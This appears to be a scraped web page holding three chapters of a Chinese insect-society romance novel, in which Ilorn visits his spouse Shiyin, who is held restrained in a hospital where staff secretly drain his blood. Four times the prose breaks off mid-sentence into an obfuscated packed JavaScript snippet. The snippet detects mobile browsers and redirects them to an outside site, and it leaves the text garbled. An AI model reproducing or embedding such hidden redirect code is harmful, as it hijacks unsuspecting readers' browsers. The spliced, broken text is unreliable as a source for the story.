伊洛恩心想,今天的太阳也未免太烈了,怎么把别人的脸晒得那么红? 护士结结巴巴地开口:“阁、阁下!很荣幸见到您,请问有什么是我可以帮忙的吗?” 伊洛恩尴尬地从树上滑下来,抹了一把额头上的汗,不好意思地朝他笑笑:“啊,我正在找猫……不是,我是说,我在找诗因。我想他可能在这栋楼里面?不知道方不方便让我进去找找……” “噢噢,您来找诗因?”护士恍然大悟,“请跟我来,我知道他在哪。” 伊洛恩松了口气:“真是太感谢了。” 他跟着护士走进大楼,想着猫咪居然跑进医院来了,诗因为了躲他也未免太慌不择路。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350084|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他忧心忡忡,希望猫猫玩得有分寸一点,可不要撞坏了别人的仪器。医院里都是好贵的东西,把存款花在这上面太不值得。 伊洛恩并不介意猫咪对他的戏弄,他只是真情实感地为诗因感到担心。 被迫和他结婚已经够不幸的了,他清楚没钱的苦楚,不想让其他无辜者也品尝其中滋味。 一路上,身边的护士总在偷偷地打量他,最终没忍住,小声询问:“阁下,恕我冒昧,请问您是不是和诗因结婚的那位……?” 伊洛恩回神,顿时又有些尴尬:“嗯,对……是我。” 护士小小地惊呼了一声,眼里的爱慕几乎快要溢出来了:“真的是您!我刚刚还在观看直播,那真是非常非常美丽的婚礼,和您十分般配!” 伊洛恩:“……谢谢你。” 但是护士很快就换了一副表情,似乎有些惋惜,又似乎在做出暗示:“阁下,请问您为什么会选择和诗因结婚呢?依我看,您完全可以有更好的选择,或者,您可以考虑迎娶几位温柔体贴的雌侍?” 说完,身后的小机器人突然把豆豆眼睁大了一圈,狠狠瞪了他一眼。 伊洛恩总不能直说因为我一屁股债还不上钱,而且现在还正在考虑和诗因离婚的事宜。他装作听不见护士话里的暗示,含糊道:“诗因很优秀。” 小机器人赞许地点了点头。 伊洛恩察觉到动静,疑惑地朝它看了一眼,可是机器人已经恢复了那副呆板的神情,仿佛无事发生。 “当然,当然,您的雌君是优秀的,但那也是以前……” 护士没忍住露出了一点轻蔑,他撇了撇嘴,正想再说点什么,可是迎面正好走来另一名推着小车的护士,喊了他的名字:“克莱尔!4号房的麻醉药用完了,医生叫你送过去!” 克莱尔只得答应:“哦,哦,好。” 他嘟囔道:“真麻烦。每次都要用那么多麻醉,这些讨厌的病人……” 他惋惜地看着伊洛恩,这里平时根本没什么正常虫会来,能见到一个雄虫都已经是稀奇事了,更何况还是相貌仪表如此优越的,没钓上手真的很可惜。 但是有工作压着,他也只能悻悻然收手,歉意道:“对不起阁下,我得尽快把药送过去,马上就要到了,接下来让1034号送您过去吧。” 伊洛恩在另一位护士推车经过身边时,不经意地往上面瞥了一眼。全封闭的小车看不出有哪里特别,只是里面传出了细微而沉闷的碰撞声响,像是装满了什么液体的玻璃瓶子。 他回头,对着克莱尔礼貌微笑:“没事,工作要紧,你先去忙吧。” 真的好体贴哦——克莱尔简直恨不得捶胸顿足。他依依不舍,一步三回头地走了。 小机器人,也就是1034号,领着伊洛恩继续上路。 走过一条走廊,它忽然出声:“你很有眼光!” 伊洛恩:“……啊?” 1034严肃地点评:“你不错。” 伊洛恩丈二和尚摸不着头脑:“……谢谢?” 8. 见面 他们进入了一间办公室。1034敲敲门,对着里面穿着白大褂的医生发出预设的语音:“叮咚!有客来访。” 医生诧异地看过来,1034补充说明:“这位是诗因的雄主,特地前来,想见他一面。” 伊洛恩心想就这么短短一会儿,猫咪居然就钻进医院这么犄角旮旯的地方来,也太能躲了。 他觉得是自己的责任,连忙弯腰鞠躬:“不好意思,给您添麻烦了,我这就来带它离开。” “啊,啊。”医生反应了几秒,这才过来诚惶诚恐地扶起伊洛恩:“阁下,阁下请不要这样做。这个,事情是这样的,诗因他的情况有点特殊……” 伊洛恩最怕在医生嘴里听见这种模棱两可的话,他心惊胆战地问:“它受伤了吗?” “不不,倒也没有。”医生努力措辞,“但是您也知道,诗因他……一直有精神病史,情况不容乐观。我刚刚还给他做了一套身体检查……您可以看看这张报告单。” 伊洛恩接过那张纸,上面的数据一个都看不懂,但并不妨碍他听出诗因生了病,他忧心忡忡:“这样啊。” 原来是精神体生病了,难怪会掉那么多毛毛。伊洛恩想起被自己薅掉的那两大坨白毛,心里十分难过。又是生病,又是衰亡期,诗因一定很难受吧。 在前世,他的表妹光是每个月的生理期都过得非常痛苦,如果生理期再叠个感冒发烧的负面状态,那负责照顾她的伊洛恩也得累个半死不活。因此他十分感同身受,心有戚戚。 医生:“所以您该知道,他现在仪容不整,恐怕会让您受到惊吓……” 伊洛恩并不在意:“没关系,这不算什么,我给它好好打理就没事了。” 医生:“而且他还具有一定的攻击倾向,刚刚还差点打了我。您是不知道他有多凶……” 伊洛恩非常理解:“我知道,之前他也试图打过我。他身体不舒服,脾气就会有些难以控制,请您多多谅解。” 医生:“我们现在把他关在特定的房间里,以防他再次做出攻击行为,想进去不太容易……” 伊洛恩更加愧疚:“我明白,它既然攻击了您,把它关起来也是应该的。很抱歉打扰您了,我回去会好好和它沟通的。” 医生:“这个,我建议让他留在这里再多观察一段时间,等到确认康复了再让他出院,您不要担心,我们一定会为他提供最先进的治疗方案……” 伊洛恩惊恐万状:“不不不,这个……这个可能不用……” 他真的被这里的医院宰怕了,生怕动辄又欠个一亿两亿的。 可他又担心自己耽误了诗因的治疗,毕竟一下飞船诗因就往医院里跑……莫非是真的很需要看医生,一分钟都耽误不得,所以上树纯粹是为了找一条更近的路? 那确实是他拖累了诗因的脚步。 他是很穷没错,但不能连累猫猫跟着他受苦啊。 伊洛恩有些为难,他看向医生:“您还是直接带我去见他吧。” 他需要诗因的意见。 如果猫猫喜欢这里,愿意在这里治病,就让它拍一下爪。如果不喜欢,不高兴,想让他带它回去,就让它拍两下。 医生东拉西扯半天,实在找不到推辞的理由了,只能说:“……好吧。” 面前这个雄虫简直宽宏大量到有些不正常了,甚至让医生以为他们根本说的不是同一件事。他纳闷地想,这位阁下居然连这样都能原谅,该不会是有什么毛病吧。 难不成是海莱家族专门给诗因挑了个精神也不太正常的雄主,专门喜欢被雌君虐待? 如果真是这样,那他们俩的确般配。只不过,医生可不乐意见到这样的情况。 他在心里竭力告诉自己不要多想。一个被家族放弃、声名狼藉的雌虫,即便曾经战功赫赫又怎么样?连他的雌父都不看重他了,难道这个被强行撮合的雄主还会在意他的心情吗? 别开玩笑了! 等会让这个不知天高地厚的雄虫亲眼见到诗因的疯样,他一定会被吓破胆子。 医生心里腹诽着,不情不愿地带着伊洛恩来到另一条走廊,通过层层面部识别和密码锁,最终来到一扇大门前,门上贴着黄色三角形贴纸,正中标出两个大大的字——“危险”。 医生撅着屁股在密码盘上搞鼓半天,最后一层识别通过,厚重的大门发出“轰隆”一声巨响,缓缓地挪出了空位。 医生带着伊洛恩进入,正回头想关门,却突然发现1034不知道什么时候也跟在他们后面,悄咪咪的,一点声响都没有,和他对上视线,还颇为无辜地眨巴两下豆子眼,一副理所当然的模样。 医生:“……你来做什么?” 1034理直气壮地回答:“克莱尔让我帮助这位阁下找到诗因。” 换言之,但凡它没有亲眼见到伊洛恩和诗因见面,那都不算“找到”。 医生:“……” 医生对人工智障露出了极其无语的表情,更令他心烦的是,伊洛恩还在一旁天真地说:“让它进来吧,只是一个机器人而已,等下说不定还可以帮忙拿东西。” 伊洛恩是这么想的,如果待会猫猫生气了,不许他抱,那么就让机器人抱它出去好了。 医生很想对这两个蠢货翻白眼,但是他忍住了,最后也只能憋屈地说:“您说得对,1034,你进来吧。” 最后这扇门打开之后,没有再出现什么乱七八糟的关卡,只剩下一条长长的迂回走廊。医生带着伊洛恩缓慢前行,嘴里还碎碎念个不停:“您要做好心理准备,诗因他……您的雌君可能随时会发病。尽管他现在处于衰亡期,我们也暂时勉强把他控制住了,但是一旦闹起来,动静也不小,我真是非常担心会让您受到惊吓。” 他们走过最后一个转角,进入一间暗室。全封闭的厚重墙壁隔绝了天光,室内黑漆漆一片,沉闷的气息扑面而来。医生并不给伊洛恩适应的时间,啪地一下打开灯,说:“我们到了。” 灯光骤亮,伊洛恩被刺得眯了一下眼睛,缓过来之后,才发现眼前是一面巨大的玻璃墙,玻璃内歪七扭八地架着层层叠叠的铁丝和电网,透过细小的缝隙,依稀可以看出是一个病房的轮廓。 而一个白色的人影被锁在正中央的控制台上,身形影影绰绰,有些模糊,只能瞧见他雪白的长发在地上蜿蜒,在冷调的光线中映照出冰雪一样的反光。 诗因。 不是猫,不是精神体,而是真正的诗因。 “……” 那一瞬间,伊洛恩感觉自己的心好像突然从云端落到了地上,发出“咚”的一声巨响。 那震动太剧烈,几乎令他体内的神经断裂,血流静止。 伊洛恩从来没有想过会在这里遇到诗因的本体。 根据他前世的听闻,富豪们都有自己的家庭医生,有什么头疼脑热都是指使医生来给自己看病。诗因是贵族,又那么富裕,怎么可能会像普通平民一样来医院抢床位呢? 那么美丽又高傲的雌虫,怎么会被关在这样逼仄的地方,被锁在这么小的一张病床上? 这怎么可能呢? 而身旁的医生还在喋喋不休:“您看,他就在里面。刚刚打了针,现在看着还算安分。但是您看看这玻璃上的裂纹,这防护网上的洞,这全是他发疯的时候赤手空拳打出来的……” 他引导伊洛恩去看铁丝上的豁口,想证明里头的确是个危险分子。伊洛恩僵硬片刻,才缓缓贴近他所指的那处空洞,更加清楚地看见了诗因的样子。 诗因似乎还穿着结婚用的礼服,层层叠叠的蕾丝包裹着身体,手脚都被巨大的抑制环牢牢拷在台面上,头发和领口都乱糟糟的,只露出小半边白皙的脸庞,睫毛纤长,一动不动。 真的和照片里一模一样。 医生见他震惊,连忙趁机再添把火:“可不是我没有提醒过您,您的雌君真的极其危险,我们采取这些措施也是迫不得已,您要知道,他当初可是当众打断了一位无辜雄虫的四肢,还出言侮辱,手段极其残忍恶劣,当时好几位在场的雄虫阁下都吓得直接晕过去了……所以说,我也是为您着想。” “他的精神十分不稳定,加上又是S级雌虫,攻击力极强,一旦发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350085|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病,那破坏力简直是不可想象,偏偏当年又给海莱家族挣了不少功勋,我们都不敢拿他怎么样……” “我们这些年为了让他恢复正常,可以说是伤透了脑筋,动用了全部的治疗手段,可是他根本不遵医嘱,昨天为了逃婚,还打伤了好几只负责护送他的保镖……您想想,他根本就不尊重您!他连身强体壮的雌虫都能毫不留情地打伤,对您又会怎么样!” 伊洛恩看着房间里的诗因,眸子颤动着,沉默不语。 医生以为他终于被自己说动了,忍不住露出一点得逞的笑。他搓着手,一副老实模样,说:“您看,要不我们还是回去吧?要不等会药效过了,他又发疯,不小心伤到了您,那可就不好了。” 过了许久,等到医生都忍不住再次开始疑神疑鬼的时候,他面前的雄虫才深呼吸一口气,声线平稳地开口:“你说的很有道理。” “只不过,”伊洛恩嘴角上提,露出了一丝苦笑,虽然眼里并没有什么笑意,“我想您需要知道的是,我目前欠款超过两个亿,并且未来这个债务数字还有可能继续上升,既然海莱家族已经抛弃了诗因,那么从今往后,我就只能靠诗因的积蓄来生活了……而且还要刨除他在这里治疗的一大笔费用。诗因虽然富裕,但是区区几十个亿的财产,其实也用不了多久。届时我资产清零,又该怎么办呢?” 医生:“……” 医生瞠目结舌,他万万没想到,面前这个雄虫看起来平平无奇,花钱的本事竟然恐怖如斯! 几十个亿的财产,那是普通虫一天换一个星球度假都能舒舒服服过完一辈子的钱,他居然还嫌不够花? 他张了张口,绞尽脑汁地反驳:“这个,这个您可以想办法再娶新的雌侍,让他们努力为您工作挣钱,也不一定非要指望诗因……” “那么,能轻轻松松挣到几十个亿的雌虫又有多少呢?”伊洛恩转过头,忧郁地望着他,“看来你认识不少,可以给我介绍几个吗?” 医生:“……”他要是认识这样的雌虫,早就抱着大腿飞黄腾达了,还用得着在这个精神病院苦苦挣扎吗! 伊洛恩盯着他半秃的脑袋看了一会,无奈地摇头叹气:“算了,算了,我怎么会选择问你呢?明明你看上去也不是很富裕的样子啊。” 医生:“……” 不过伊洛恩还是很有良心,没有继续往他伤口上插刀,而是善解人意地放过了这个话题,叹气说:“先不谈这个,把正事解决了再说。我的律师给我准备了一些海莱家族财产方面的文件,需要诗因签名确认,外面的飞船还在等着接我回去继续交涉。事关我的债务问题,多耽搁一会可能就会出事,我看他现在也没办法签名,不如我拿他的手指按个手印吧。” 他提了提手上的包,抖开里面的几分文件,看起来像模像样。 医生接连受到暴击,被他一连串的话打得措手不及,也实在找不出理由反驳,嘴唇蠕动着,最后只能说:“好吧。” 他糟心得很,也不想再提醒伊洛恩直接进入这个房间会有多危险,闷声掏出密钥,打开了层层电网和防护网,露出仅容一人通过的空隙,语气不善地说:“如您所愿,请进吧,阁下。” 然后他退开几步,站在玻璃墙外,悄悄把手探入口袋,握住了一只遥控器,拇指搭在了电击的按钮上。 遥控器直接连接着诗因身上的抑制环,不论是想要给予惩罚还是注射药物,都轻而易举。 医生隐隐感觉事情似乎有些脱离了控制,面前这只不走寻常路的雄虫很有可能威胁到他的计划,他必须得让这位阁下吃点苦头。 不是不怕死吗?不是不愿意交钱,想带诗因走吗? 让你瞧瞧诗因发狂发疯的样子,看看你还有没有那个胆量! 他面上露出了一丝狰狞的冷笑,紧紧盯着伊洛恩的一举一动。最好能让他留下深刻的心理阴影,这样他就会明白自己说的全都是对的,就该乖乖听自己的话,离诗因远远的,再也别来管他…… 在他身后,1034默默地注视着他的动作,豆豆眼中没有任何情绪,仿佛只是一个没有感情的摄像机器。 9. 流浪猫与流浪汉 生活总是处处充满了意外和转折,虽然这件事对与伊洛恩来说,似乎也不算什么意外。 原本遮遮掩掩的故事进程处处透露着古怪和荒谬,当真相被猝不及防地揭开时,似乎一切才终于回到了正常的轨道上,这个奇怪的世界中终于有了一条不奇怪的逻辑链。 一个出身贵族、战功彪炳、家财万贯的雌虫,生来就含着金汤匙,实力与美貌并存,仿佛天选之子一样的孩子,为什么会被迫和一个身无分文、来历不明的流浪汉结婚? 甚至于这个流浪汉还欠了一笔天文数字,得让他倒贴钱来还债? 不论雄虫是多么稀有的存在,以诗因的权势和地位,他都绝不至于把一手好牌打成这幅稀烂的鬼样子。 原来如此。 原来是这样啊。 因为诗因罪行累累,因为在旁观者叙述中的诗因,是一个暴戾、凶残、蛮横的疯子,是一个打伤雄虫,让家族颜面尽失,让民众大失所望的叛逆者,因为没有人敢接受他,没有人愿意要他,于是兜兜转转,这个烂摊子就落到了他这个凭空出现的外来者头上。 不是天之骄子陨落凡尘,也不是鲜花误插在了牛粪上,是流浪猫遇到了流浪汉,被家族抛弃、被路人踩在脚底碾碎筋骨的名贵血统的小猫咪,遇到了在尘埃里讨生活、对倒霉的命运逆来顺受又无能为力的穷光蛋。 他忽然感到一种无可名状的悲伤。 “……他连身强体壮的雌虫都能毫不留情地打伤,对您又会怎么样!” 会怎么样?对他怎么样? 会在明明不喜欢他,明明掉了毛就会不高兴的情况下,见到他不舒服,仍然还是把毛茸茸的小脑袋伸过来,给他摸摸。 这样的诗因,又能坏成什么样呢? 伊洛恩总是很愚钝,他知道自己脑筋笨,所以他选择不听别人天花乱坠的精妙说辞,而是默默观察,去看他们具体做了些什么事。 当所有人都在回避这个话题,对真相闪烁其词的时候,只有这个医生毫不避讳,跟倒豆子一样噼里啪啦地说了出来,把诗因最糟糕的过去毫不遮掩地暴露在他面前,而且还极尽渲染之能事,说的要多可怕有多可怕。 是因为医者仁心,不忍看到他受伤害吗? 如果真是这样,他会不明白当着新婚伴侣的面疯狂宣扬另一半的恶行,会给对方带来多大的刺激? 伊洛恩按住心中隐隐作痛的创口,他盯住医生说话时的脸,以及被他问倒时,那副恼羞成怒,又隐隐有些焦虑不甘的神情,那双闪烁不定,努力酝酿下一句劝告的眼睛,心中若有所思。 人心难测。外星人的心思和当年的人类也不相上下。 律师用他的债务问题掩盖了诗因糟糕的境遇,为了让他和诗因尽快结婚,以挽回海莱家族的颜面。而医生对诗因的问题夸大其词,一遍遍重复诗因的恐怖,企图吓退他,阻挠他和诗因见面,则又是为了掩盖什么,想要做什么呢? 伊洛恩穿过玻璃门,一丝新鲜的空气随着他的脚步缓缓流入房间,涌向躺在床上的雌虫,他的雌君。 入目是流泻一地的雪白长发,洁白无瑕的华丽礼服,一尘不染的蕾丝手套,还有如同冰面的浅色床单。过于洁白的一切,落在这黯淡无光的室内,竟带来了一丝腐朽的错觉。好像被簇拥在其间的不是刚刚结婚的新人,而是半步入土的老者,肌肤的血色都褪尽了,白得惨淡寒冷,暮气沉沉。 五只抑制环拷在他的身上,手脚和脖子各一只,像古代的罪犯戴的枷锁。那显然是很沉重的,深深地陷在床垫之中,连接着床下的控制板,随时可以发出电击或注射药物的指令。 而被拷住的雌虫却动也不动。一双淡金色的眼睛半睁着,眨也不眨。眼角的红色虫纹黯淡得像是冬日里衰败的花,好像身体里的灵魂早已离开,只在这里落了一具皮囊,仅此而已。 伊洛恩低低喊了一声:“诗因。” 雌虫身上的抑制环缓慢闪烁着蓝光,除此以外,没有任何动静。 情况特殊,伊洛恩也顾不得诗因是否讨厌自己、或者会不会在意。他在床前弯腰,背对着玻璃外的医生,不紧不慢地摘下那双蕾丝手套,握了一下雌虫的手。修长的手指被他拢在掌间,细小的伤痕斑驳粗糙,触感冰凉,仿佛几乎没有体温。 太冷了。这不对劲。 是衰亡期的影响吗? 伊洛恩细致地抚摸他的手背,却没法让那块皮肤暖上一星半点。他的手指顺着腕骨,往袖口滑进去了一点,穿过抑制环与皮肤的缝隙,探入小臂。 针孔。 他想起了之前见到的推车,里面沉重且沉闷的碰撞声响,还有一些更加久远的见闻,他不愿回想的回忆。 血。 他不动声色地将手指移开,缓慢而用力地揉搓诗因冰冷的指尖。 他轻轻地说:“别怕,我带你走。” 那一刹那,被他攥在手里的指尖微微有了一丝颤动。像是极地沉重的冰川被南上的洋流包裹,在温暖的气温中细微地开裂。 医生看见伊洛恩磨磨蹭蹭地玩着诗因的手指头,好半天才在纸上乱摁,心里已经有点不耐烦。他的握着遥控器,心里蠢蠢欲动,迫不及待地想给这个雄虫一点颜色瞧瞧。 那样的场面一定会非常精彩。 诗因不是本来就很讨厌雄虫吗?不是很排斥这场婚姻吗?这是一个多么好的机会! 最好是当场发疯,把这个不知好歹的雄虫打得头破血流,哭爹喊娘,跪下来向自己忏悔和求助…… 正当医生心跳加速,沉浸在幻想中不能自拔时,身后的1034忽然“啊”地大叫了一声,险些把医生吓得灵魂出窍。 他气急败坏地回头:“你乱叫什么!” 1034的表情还是一如既往的无辜,它指指医生的头顶:“你头上有蜘蛛。” 医生浑身一激灵,连忙搔搔自己本就不多的头发。遥控器随着他的动作在口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350086|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋边缘摇摇欲坠,1034眼疾手快地用镊子手把它夹出来,藏进自己身体里,然后重新塞了一个一模一样的进去。 医生对此毫无所觉,只是抓狂问道:“它走了没有?还有没有?” 1034恢复面瘫脸:“没啦,没啦。” 然而等他们这一通闹完,伊洛恩已经从玻璃房里走出来了。 医生顿时意识到自己错过了恐吓的最好时机,他追悔莫及,连忙把手塞进口袋里,疯狂地摁着遥控器上的按钮,企图引起诗因的异状,权且当做补救。 算了,只要能让这个雄虫看到诗因发疯的样子就好!如果雄虫真的被弄伤弄残,说不定还会惹来一些不必要的麻烦,万一把媒体或者军方引来就糟糕了!所以只要吓唬吓唬他,让他知难而退就行…… 他一边侥幸地想着,一边焦急地在口袋里按了半天,手指头都快搓出火星子了,然而面前的玻璃墙内无事发生。 医生瞪着安安静静一动不动的诗因,眼珠子都快凸出来了,可是就是一点动静都没看见! 他整个虫都傻了。 不会吧,难道是早上打镇定剂打得太过,把诗因给打废了? 怎么会这样?!没了这个下马威,那他得怎样才能说服那位超会花钱的阁下啊! 此时,那位“超会花钱的阁下”已经来到了他面前,伊洛恩抱着手上的公文包,一副郁郁寡欢的模样。他仍然回头望着诗因的方向,目光凝重,好半晌才长长地叹了口气:“我看到了,诗因的病情的确很严重……” 医生一听有戏,连忙附和说:“对对对,就是您想的那样,诗因他简直是病入膏肓无可救药了——”所以拜托别再想着把他带走了! 伊洛恩却骤然回头看向他,顺着他的话继续往下说道:“是啊,都已经无可救药了,那就干脆别治了吧。” 医生:“啊?” “既然您都已经治不好他了,那继续让他在这里治疗也没有太大意义。”伊洛恩十分耐心,但神情依然很忧愁,“况且每年治疗的费用想必也是一笔不小的支出,诗因现在做了我的雌君,大半的流动资金都得用来替我还债,经济状况大不如前,本就贫穷的生活,更加雪上加霜,不能再这样下去了……” 医生:“……” 医生一脸菜色,他卑微地说:“诗因……您的雌君的这种病症比较罕见,我们也为他的病情努力研究了很久,如果现在放弃,实在太可惜了……这样吧,为了科学的进步发展,我们愿意为诗因减免治疗费用,一年……一年只需要五十万星币,您看怎么样?” 伊洛恩盯着他的眼睛,慢吞吞地说:“喔……一年居然还要花五十万啊。” 医生面部肌肉抽搐,他忍痛道:“一年……三十万,真的不能再少了!” 伊洛恩说:“可是我把他带回家,一分钱都不用出啊。” 他们可是只有几十个亿财产的贫贱夫妻呢,怎么能这样大手大脚地随便乱花钱呢? 10. 异兽 医生这辈子就没见过这么抠门的雄虫。 虫族社会中,雄虫和雌虫的比例大约是1:10,雄虫们仗着数量稀少,从小就被身边的雌虫养尊处优地供着,根本不知道人间疾苦,花钱往往也是大手大脚。 眼前这位阁下呢?花钱的本事倒是远超及格线,可是这冷酷无情的砍价作风又是从哪学来的啊! 他咬了咬牙,好一会才挤出一句警告:“阁下,请允许我提醒您,在没有主治医师同意的情况下,B级以上的精神病患是不能随意离开病院的。” 这是实话,也是为了最大程度保障社会安全的必要流程。毕竟B级以上的雌虫破坏力都不容小觑,如果一不小心跑到大街上发疯,那造成的人员伤亡和经济损失可以说是难以估量的。 伊洛恩闻言,果然十分丧气:“这可怎么办,我真的交不起那么多钱。” “即便您拖欠医药费,我们也不能让您随便带走……” “可是我确实没有钱啊。” 医生咬牙切齿,一字一顿地强调道:“……您明明刚刚才说,您的雌君有几十个亿的财产。” “是啊,我是这么说过。”伊洛恩有点委屈,“可那是诗因的,不是我的。按照协议上的规定,如果我不能帮助诗因平安度过衰亡期,那些财产就不能归我所有,我也得继续背着两个亿的负资产生活。而现在你不让我带诗因走,我没法帮他度过衰亡期,当然也就没有钱了。” 医生却松了口气,语气轻松地说:“这个好解决。衰亡期而已,您只要交给我们少量汗液和唾液,剩下的让我们来做就好。我保证诗因能平稳度过衰亡期,海莱家族也绝不会查出什么来的。” 伊洛恩微不可察地皱了一下眉头:“你们要怎么做?” “这个解释起来比较复杂,属于医学专业领域范畴,您只要放心交给我们……” 他们的对话声模模糊糊,像是隔着一层水,断断续续地传入诗因的耳中。他僵硬地,像只没有生命的人偶一样躺在冰冷的台上,如同砧板上的一块鱼肉,任由摊主与顾客在身上讨价还价,敲定他的去处。 美黛丝还潜伏在后方,没有动作。 他长长的睫毛轻颤了一下,微垂着涣散的瞳孔,面上平静无波,看不见一点戾气。 这两种去处,他哪一个都不想要。 但是他名义上的这位雄主,好像是一个笨蛋。 又笨蛋又古怪,令猫难以捉摸。 这让他生出了一些不必要的好奇心。他想看看这个漂亮笨蛋会用哪种办法,把他带出去;带出去以后,又会怎么样傻乎乎地对待他。 那张好看的脸上会露出什么样的神情,好看的眼睛里又会是怎样的神色。 仅仅只是这份好奇,让他继续忍耐着,等待着,观察着。 他的耐心一向很好,他也已经忍耐了足够长的时间,并不急于这一时半刻,可以让笨蛋慢慢来。 他微微动了动耳朵,却在这时忽然听到了一点不同寻常的动静。装满了厚厚的防御和隔音材料的病房内从上方传来了两道轻微的“咚咚”声,混在旁边嘈杂而无营养的对白声中,很不起眼。 但诗因眼神却微微凝了一些,被强制散瞳的眼睛无法对焦,他只能想办法眯起眸子,盯住了永远一成不变的白色天花板。 好像有什么奇怪的东西…… 此时,楼上实验室内。 “监测实验体数据。” “体温较低,心跳平稳,脑电波正常。生命活动持续中,血液总量正在缓慢回升,预计十小时后达到目标数值。” 屏幕前的一名白大褂撇撇嘴,嘟囔道:“居然还要十个小时,变慢了这么多。” 旁边的助手殷勤给他倒水,赔笑说:“毕竟他现在是衰亡期了,一次性抽掉那么多血,在缺乏营养补充的情况下还能进行自我恢复已经很不错,而且他的雄主不是来了吗?只要得到津液样本,我们就可以控制他体内各项数据的恢复,在保持肌肉萎缩的情况下,同时提高他的造血速度,那样就再也不愁原料供应了。” 白大褂端起水喝了一口,嘴里咕噜咕噜地响,他露出贪婪的目光:“要是能把雄虫一起控制起来就好了,那样才能实现完美的数据调配,可惜……” 他砸吧砸吧嘴:“雄虫出事,引起的社会关注就太多了。就算是发了疯,也没办法关起来,有的是雌虫想献身照顾配对……啧,讨厌的特权。” 他正批判着世风日下,忽而听见门口处响起一阵喧嚣,不由得朝那边看去。 门板上有规律地传来一道道声音,不是那种正常的,用手指轻叩的敲击声,而是仿佛被什么重物击中,震动门板,发出的沉闷碰撞声,咚,咚,咚。 他莫名其妙:“机器人卡住了?把推车撞到门上了?怎么那么大动静。” 这间实验室的门是特制的,防御性和保密性一流,加上通往实验室的走廊也十分隐蔽,路上设了种种关卡层层防护,非内部人员根本找不到位置,更不可能进来。 他们长期安逸地在这里做着各自的勾当,支配着手下无力反抗的实验体们,早已经忘记了警惕和危险为何物。 助手连忙起身:“我去看看。” 他整理了两下衣摆,一路小跑到门前,期间抬头朝门口的监控屏上随便瞥了一眼——黑屏。 大概是电池用完了,或者哪里又出了什么小故障吧。助手满不在乎地想。 门上砰砰声不停。他被催得有些不耐烦,口中连连说:“来啦,来啦。” 到底是哪个蠢货在这里撞墙,真是非得好好修理一下不可了——开门前一秒,他还在这样想着。 工作量又增加了,多么麻烦的一天啊。 门栓落下,门锁打开,指纹识别通过,防御解除。 银白色的大门在他眼前缓缓开启,一股恶臭扑面而来。门外,漆黑的野兽丢开了手中撞得支离破碎的机械体,朝他露出了沾血的獠牙。 楼下,伊洛恩和医生的谈判也终于磕磕绊绊地进入了尾声。 双方各退一步,医生不情不愿地道:“好吧,阁下,您可以暂时带走诗因一阵子,但是等衰亡期结束,您拿到钱之后,就必须带他回来继续接受治疗。” “我知道了。”伊洛恩敷衍道。 “那么请您向虫族至高无上的智慧之神发誓吧!” 见伊洛恩不解,医生嘿嘿笑着,解释说:“智神全知全能,只要您发了誓,它就会一直看着您,直到您完成誓言为止。” 伊洛恩莫名其妙地重生一回,对这种玄学上的事情还是上了点心,不想沾上这种神神鬼鬼的东西。 他正思索着要怎么把这个誓言给糊弄过去,忽然心跳猛然快了两拍。他皱起眉头,朝头顶看去。 然而这个房间的密闭性实在太好,甚至连窗户都没有一扇,厚厚的隔音材料将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350087|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四周盖得严严实实,让他无从判断。 发生什么事情了? 伊洛恩经历过末日时代的摸爬滚打,长年累月的死亡边缘中磨练出来的直觉往往能在危急关头予以示警。他感觉到了危险。 医生毫无察觉,还在一旁不住地催促他:“阁下,您别发呆了,快点发誓啊!” 伊洛恩勉强定下心神,一把推开他,径直往玻璃墙那边走,回绝道:“不,你先让他出来。” 医生这时候也固执起来了,不知道是不是也感受到了某种不安的气氛,怎么也不肯妥协,作势要拦他:“不行,不行!您如果不发誓,就得写一份保证书,然后才能带他走——” 话音未落,只见头顶的灯光忽然闪烁两下,陷入黑暗。紧接着,地板上展开巨大的红色逃生箭头,一道震耳欲聋的音量响彻整个房间! “警报!警报!外敌入侵!请沿着逃生出口立刻离开!” 